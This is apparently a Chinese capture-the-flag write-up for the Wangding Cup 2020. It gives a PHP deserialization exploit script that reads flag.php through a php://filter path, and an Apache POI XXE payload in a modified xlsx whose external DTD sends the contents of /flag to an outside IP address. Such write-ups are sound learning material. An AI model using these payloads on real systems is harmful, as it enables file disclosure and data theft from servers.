网鼎杯2020

很遗憾的比赛,这次比赛也让我认识到我的不足,我还有很多的地方要去学习。此次比赛p y严重,希望自己能变强,这样不管别人p y 不 p y 我们队也能进线下。如果我还能再做出一个题就好了。此次比赛队伍最终排名185。 130名进线下。

签到

没什么难度。

审计js代码发现一段代码input your team token: 然后就打印出flag,然后在控制台输入队伍token。得到flag

AreUSerialz

小明同学把最近开发的一个简易文件上传系统挂到了服务器上,但过了段时间收到了漏洞报警,你能帮他找到是哪里出了问题吗?

exp:(看起来很复杂,是因为我再调试 -。-

<?php

class FileHandler
{

    public $op = 2;
    public $filename = 'php://filter/read=convert/base64-encode/resource=/web/html/flag.php';
    public $content = 'aaa';

    function __construct()
    {
        $op = "2";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";

    }
    public function process(){

    }
}
$a = new FileHandler();
$b = serialize($a);
echo strlen($b);
echo "\n";
echo $b;
echo "\n";
$c = str_replace('*','\00*\00' ,$b);
echo strlen($c);
echo "\n";
echo $c;
echo "\n";
echo urlencode($b);
echo "\n";
echo urlencode($c);
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:67:"php://filter/read=convert/base64-encode/resource=/web/html/flag.php";s:7:"content";s:3:"aaa";}
O:11:"FileHandler":3:{s:5:"/00*/00op";i:2;s:11:"/00*/00filename";s:57:"php://filter/read=convert/base64-encode/resource=flag.php";s:10:"/00*/00content";s:3:"aaa";

当然这里如果不把protected 改为 public 也一样可以做。只不过为绕过对不可显字符的检查,在* 两侧添加\00 即可。(php7.1对属性类型不敏感,php5 就不行了。PHP 7.1 以上,都可以直接用public 即可绕过了。)

Payload:

这里好像中途改题。不用读绝对路径也可以。题很简单(改之后),不改之前去读取绝对路径就有点困难了,因为很少遇见。

filejava

  • 任意文件下载,遍历出目录

  • 源码审计,发现是ban 了flag这个关键字的,所以无法下载flag。

  • poi xxe,elsx 压缩文件打开方式,根据那个CVE 一步一步慢慢耐心操作即可。

https://my.oschina.net/u/4382025/blog/4182895

elsx 以压缩文件打开,修改*.xml 文件

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % remote SYSTEM "http://116.62.211.134:2333/evil.dtd">
%remote;
%all;
]>
<root>&send;</root>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://116.62.211.134:2333/%file;'>">

Last updated